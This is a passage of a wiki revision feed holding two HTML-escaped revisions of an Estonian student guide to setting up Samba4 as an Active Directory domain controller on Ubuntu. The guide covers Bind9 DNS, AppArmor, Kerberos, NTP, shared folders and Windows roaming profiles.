DOMAIN SID:            S-1-5-21-1025771091-2011791338-2641903939&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Test==&lt;br /&gt;
Käivitame Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
initctl start samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Laeme Samba-client&#039;i:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
eemaldame samba.pid faili, mis takistab sambat käivitamast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
rm /var/run/samba.pid&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning kontrollime (väljund kuva share&#039;s olemad elemendid):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L localhost -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Väljundiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;	&lt;br /&gt;
Sharename       Type       Comment&lt;br /&gt;
---------       ----       -------&lt;br /&gt;
netlogon        Disk       &lt;br /&gt;
sysvol          Disk       &lt;br /&gt;
IPC$            IPC        IPC Service&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read enne esimest &amp;quot;else&amp;quot;t:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
    if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
    fi&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Ning selle sisuks tuleb:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tekitame eelnevalt loodud failidele lingid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;erandid&lt;br /&gt;
&lt;br /&gt;
Taaskäivitane Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kaasame Samba4 raames loodud konfiratsioonifaili Bind9 seadetesse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis lisame Apparmorisse erandid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada lõppu ennem viimast &amp;quot;}&amp;quot; märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/** rkw,&lt;br /&gt;
/var/lib/samba/private/dns/** rkw,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/bind9/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/gensec/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/ldb/modules/ldb/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/ldb/** rm,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
´&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Nimeserveri seadistamine==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Meie nimeserveri aadress on 192.168.56.200 (kirje tuleb lisada teistest ip-aadressidest ettepoole, et süsteem pöörduks just Bind9 poole):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja selle töökorda ja seadistusi kontrollida: &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks &amp;quot;samba.piix.ee&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muudame Kerberose konfifaili /etc/krb5.conf selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[libdefaults]&lt;br /&gt;
        default_realm = samba.piix.ee&lt;br /&gt;
        dns_lookup_realm = true&lt;br /&gt;
        dns_lookup_kdc = true&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Network Time Protocol==&lt;br /&gt;
Kuna Samba annab domeeni liikmetele ka kellaajad kätte, siis soovime, et ka serveril endal oleks õige kellaaeg ja seda saame teha järgnevalt:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame NTP&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install ntp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Seadistame ära muutes /etc/ntp.conf faili, lisades serverite nimekirja esimeseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
server 2.ee.pool.ntp.org&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teeme esimese aja pärimise ja paneme teenuse tööle:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service ntp stop&lt;br /&gt;
ntpdate -B 2.ee.pool.ntp.org&lt;br /&gt;
service ntp start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kontrollime, kas töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ntpq -p&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==&#039;Kontroll&#039;==&lt;br /&gt;
Kontrollime, Samba4 töökorda:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L samba.piix.ee -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund kuvatakse väljajagatud failide/kausta/printerite nimekiri:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks käivitame käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //samba.piix.ee/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks kuvatakse netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli (&amp;quot;Student1&amp;quot;):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@samba.piix.ee&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Töökorras olekus väljundit ei kuvata.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuks kuvatakse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@samba.piix.ee&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/samba.piix.ee@samba.piix.ee&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;: &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool user add share&lt;br /&gt;
samba-tool user add opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Loodud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsioonifaili smb.conf:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba/smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = yldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Et kaustad välja jagada, teeme Samba4&#039;le restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Samba4&#039;s enam ei saa smb.conf&#039;i faili kaudu kaustadele õigusi lisada. Active Directory kaudu läbi Windowsi masina saab Administraatori kontoga teha &amp;quot;profiles&amp;quot; kaustade alla igale kasutajale oma kausta ehk &amp;quot;roaming profile&amp;quot;-i.&amp;lt;br&amp;gt;&lt;br /&gt;
Tuleb meeles pidada, et roaming profile&#039;s tuleb domeenis sisse logida sama Windows-versiooni masinaga. Erinevate Windowsite alt sisse logides samas domeenis genereeritakse Profiles kausta topelt kasutaja kaust nign see pole esimese loodud kasutaja kaustaga ühenduses.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi keskkonnas Active Directory haldamiseks tuleb kasutada Remote Server Administration Tool&#039;i, mis tuleb microsoft&#039;i kodulehelt allatõmmata.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna meil on hetkel Windows XP kasutusel, siis meil on vaja Administration Tool Packi - http://www.microsoft.com/en-us/download/details.aspx?id=16770 .&amp;lt;br&amp;gt;&lt;br /&gt;
See järel liita masin loodud domeeniga: &lt;br /&gt;
Esmalt määrata oma võrguühenduse seadetes DNS serveriks 192.168.56.220.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Parem klõps My Computeril -&amp;gt; Properties.&amp;lt;br&amp;gt;&lt;br /&gt;
Uues aknas ülevalt &amp;quot;Computer name&amp;quot; ja nupp &amp;quot;Change&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Määrata domeeniks &amp;quot;samba.piix.ee&amp;quot; või see, mis sai domeeni loomisel pantud.&amp;lt;br&amp;gt;&lt;br /&gt;
Edukal leidmisel küsib kasutajanime ja parooli. Tuleb panna kasutajaks Administrator ja parooliks Student1.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui aksepteerib, siis tervitab sind domeeni liitmise puhul ja palub restarti ning peale seda saab juba domeeni sisselogida Sambas loodud kasutajatega.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi klientmasinas, kuhu on installeeritud vastav Administraton Tool Pack Active Directory haldamiseks domeeniserveris, tuleb avada Start -&amp;gt; Run -&amp;gt; dsa.msc &amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step1.png|thumb|none|427px|dsa.msc]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avanenud aknas minna vastavate kasutajate juurde, avada parema klõpsuga Properties ja Profile sektsiooni ning lisada Profile Path: //192.168.56.200/profiles/%USERNAME%&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step2.png|thumb|none|551px|Profile path]]&lt;br /&gt;
&lt;br /&gt;
ning muudatused ära salvestada. Seejärel tuleks käivitada Start -&amp;gt; Run&#039;is käsk &amp;quot;gpudate /force&amp;quot;, mis sunnib uuendama Group Policy&#039;t.&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step3.png|thumb|none|427px|gpupdate]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Peale seda vastava kasutajaga uuesti sisse sisselogides tehakse Profiles kausta vastava kasutajanimega kaust.&lt;br /&gt;
Näide serverist vaadatuna:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
 # cd /var/data/profiles&lt;br /&gt;
 # ls -l&lt;br /&gt;
 drwxr-xr-x 12 3000012 users   4096 Aug  2 15:35 test&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutatud kirjandus=&lt;br /&gt;
* https://wiki.itcollege.ee/index.php/Samba4_installeerimine&lt;br /&gt;
* http://www.matrix44.net/cms/notes/gnulinux/samba-4-ad-domain-with-ubuntu-12-04&lt;br /&gt;
* http://www.golinuxhub.com/2012/08/create-roaming-profiles-in-samba4.html&lt;br /&gt;
* http://www.pool.ntp.org/zone/ee&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60897</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60897"/>
		<updated>2013-01-13T06:49:39Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Loodud kaustade väljajagamine ja õiguste määramised */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Käesolev artikkel on juhend Samba 4 paigaldamise ja seadistamise kohta.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
* Ubuntu versioon 12.04&lt;br /&gt;
* IP aadress 192.168.56.200&lt;br /&gt;
* eelnevalt paigaldatud Bind9 domeeniga piix.ee&lt;br /&gt;
* elementaarsed teadmised Ubuntu käsurea kasutamisest&lt;br /&gt;
&lt;br /&gt;
=Eelised=&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
jne.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
&lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logime sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendame tarkvara nimekirja:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installeerime Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 installi käigus on sage viga, et Samba 4 package mängib enda staatuseks &amp;quot;half installed. See tuleb käsitsi muuta:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
nano /var/lib/dpkg/status&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Leia konfifailist Samba4 rida:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...ning muuda see rida selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok installed &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrollime, et rohkem &amp;quot;poolikuid&amp;quot; faile pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis kustutame või muudame backup&#039;iks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
eeldusel, et smb.conf faili pole olemas. Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks &amp;quot;samba.piix.ee&amp;quot; kõrval tuleb --domain argumendiks kirjutada &amp;quot;samba.piix; millegi muu korral ei hakka Kerberos soovitult tööle.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/usr/share/samba/setup/provision --realm=samba.piix.ee --domain=samba --adminpass=Student1 --server-role=&#039;dc&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemus on järgnev:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
Setting up sam.ldb rootDSE marking as synchronized&lt;br /&gt;
Fixing provision GUIDs&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
A phpLDAPadmin configuration file suitable for administering the Samba 4 LDAP server has been created in /var/lib/samba/private/phpldapadmin-config.php .&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ubuntu&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-1025771091-2011791338-2641903939&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Test==&lt;br /&gt;
Käivitame Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
initctl start samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Laeme Samba-client&#039;i:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
eemaldame samba.pid faili, mis takistab sambat käivitamast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
rm /var/run/samba.pid&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning kontrollime (väljund kuva share&#039;s olemad elemendid):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L localhost -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Väljundiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;	&lt;br /&gt;
Sharename       Type       Comment&lt;br /&gt;
---------       ----       -------&lt;br /&gt;
netlogon        Disk       &lt;br /&gt;
sysvol          Disk       &lt;br /&gt;
IPC$            IPC        IPC Service&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read enne esimest &amp;quot;else&amp;quot;t:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
    if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
    fi&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Ning selle sisuks tuleb:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tekitame eelnevalt loodud failidele lingid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;erandid&lt;br /&gt;
&lt;br /&gt;
Taaskäivitane Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kaasame Samba4 raames loodud konfiratsioonifaili Bind9 seadetesse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis lisame Apparmorisse erandid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada lõppu ennem viimast &amp;quot;}&amp;quot; märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/** rkw,&lt;br /&gt;
/var/lib/samba/private/dns/** rkw,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/bind9/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/gensec/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/ldb/modules/ldb/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/ldb/** rm,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
´&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Nimeserveri seadistamine==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Meie nimeserveri aadress on 192.168.56.200 (kirje tuleb lisada teistest ip-aadressidest ettepoole, et süsteem pöörduks just Bind9 poole):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja selle töökorda ja seadistusi kontrollida: &amp;lt;br&amp;gt;&lt;br /&gt;
